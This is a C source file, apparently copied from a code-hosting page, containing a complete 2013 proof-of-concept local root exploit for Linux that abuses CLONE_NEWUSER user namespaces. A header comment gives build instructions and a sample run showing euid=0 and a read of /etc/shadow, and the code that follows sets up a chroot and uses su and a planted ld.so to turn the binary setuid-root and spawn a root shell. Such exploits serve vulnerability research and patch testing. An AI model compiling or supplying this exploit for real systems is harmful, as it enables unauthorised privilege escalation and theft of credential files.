167 lines
3.4 KiB
C
167 lines
3.4 KiB
C
/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC
|
|
*
|
|
* Dedicated to: Locke Locke Locke Locke Locke Locke Locke!
|
|
*
|
|
* This exploit was made on the 13.3.13.
|
|
*
|
|
* (C) 2013 Sebastian Krahmer
|
|
*
|
|
* We are so 90's, but we do 2013 xSports.
|
|
*
|
|
* Must be compiled static:
|
|
*
|
|
* stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
|
|
* stealth@linux-czfh:~> ./a.out
|
|
* [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer
|
|
*
|
|
* [+] Found myself: '/home/stealth/a.out'
|
|
* [*] Parent waiting for boomsh to appear ...
|
|
* [*] Setting up chroot ...
|
|
* [+] Done.
|
|
* [*] Cloning evil child ...
|
|
* [+] Done.
|
|
* [*] Creating UID mapping ...
|
|
* [+] Done.
|
|
* [+] Yay! euid=0 uid=1000
|
|
* linux-czfh:/home/stealth # grep bin /etc/shadow
|
|
* bin:*:15288::::::
|
|
* linux-czfh:/home/stealth #
|
|
*
|
|
*/
|
|
#define _GNU_SOURCE
|
|
#include <sched.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#include <string.h>
|
|
#include <errno.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/types.h>
|
|
#include <sys/wait.h>
|
|
|
|
|
|
int go[2];
|
|
char child_stack[1<<20];
|
|
extern char **environ;
|
|
|
|
|
|
void die(const char *msg)
|
|
{
|
|
perror(msg);
|
|
exit(errno);
|
|
}
|
|
|
|
|
|
int child(void *arg)
|
|
{
|
|
char c;
|
|
|
|
close(go[1]);
|
|
read(go[0], &c, 1);
|
|
|
|
setuid(0);
|
|
|
|
/* this will also affect the parent, but the parent
|
|
* has the init_user_ns, so it will start suid with real uid 0.
|
|
*/
|
|
if (chdir("chroot") < 0)
|
|
die("[-] chdir");
|
|
if (chroot(".") < 0)
|
|
die("[-] chroot");
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
|
int setup_chroot(const char *me)
|
|
{
|
|
mkdir("chroot", 0755);
|
|
mkdir("chroot/lib64", 0755);
|
|
mkdir("chroot/bin", 0755);
|
|
|
|
if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0)
|
|
die("[-] link");
|
|
if (link("/bin/su", "chroot/bin/su") < 0)
|
|
die("[-] link");
|
|
return 0;
|
|
}
|
|
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
char *su[] = {"/bin/su", NULL};
|
|
char *sh[] = {"/bin/bash", NULL};
|
|
char me[256], *mee[] = {me, "1", NULL};
|
|
char uidmap[128], map_file[128];
|
|
pid_t pid;
|
|
struct stat st;
|
|
int fd;
|
|
|
|
|
|
if (geteuid() == 0 && argc == 1) {
|
|
/* this will run inside chroot, started as the ld.so from
|
|
* su process
|
|
*/
|
|
printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid());
|
|
chown("lib64/ld-linux-x86-64.so.2", 0, 0);
|
|
chmod("lib64/ld-linux-x86-64.so.2", 04755);
|
|
exit(0);
|
|
} else if (geteuid() == 0) {
|
|
/* this will run outside */
|
|
setuid(0);
|
|
execve(*sh, sh, environ);
|
|
die("[-] execve");
|
|
}
|
|
|
|
printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n");
|
|
|
|
memset(me, 0, sizeof(me));
|
|
readlink("/proc/self/exe", me, sizeof(me) - 1);
|
|
printf("[+] Found myself: '%s'\n", me);
|
|
|
|
if (fork() > 0) {
|
|
printf("[*] Parent waiting for boomsh to appear ...\n");
|
|
for (;;) {
|
|
stat(me, &st);
|
|
if (st.st_uid == 0)
|
|
break;
|
|
usleep(1000);
|
|
}
|
|
execve(me, mee, environ);
|
|
die("[-] execve");
|
|
}
|
|
|
|
printf("[*] Setting up chroot ...\n");
|
|
setup_chroot(me);
|
|
printf("[+] Done.\n[*] Cloning evil child ...\n");
|
|
|
|
if (pipe(go) < 0)
|
|
die("[-] pipe");
|
|
|
|
pid = clone(child, child_stack + sizeof(child_stack),
|
|
CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
|
|
if (pid == -1)
|
|
die("[-] clone");
|
|
|
|
printf("[+] Done.\n[*] Creating UID mapping ...\n");
|
|
|
|
snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid);
|
|
if ((fd = open(map_file, O_RDWR)) < 0)
|
|
die("[-] open");
|
|
snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid());
|
|
if (write(fd, uidmap, strlen(uidmap)) < 0)
|
|
die("[-] write");
|
|
close(fd);
|
|
printf("[+] Done.\n");
|
|
|
|
close(go[0]);
|
|
write(go[1], "X", 1);
|
|
|
|
waitpid(pid, NULL, 0);
|
|
execve(*su, su, NULL);
|
|
die("[-] execve");
|
|
return -1;
|
|
}
|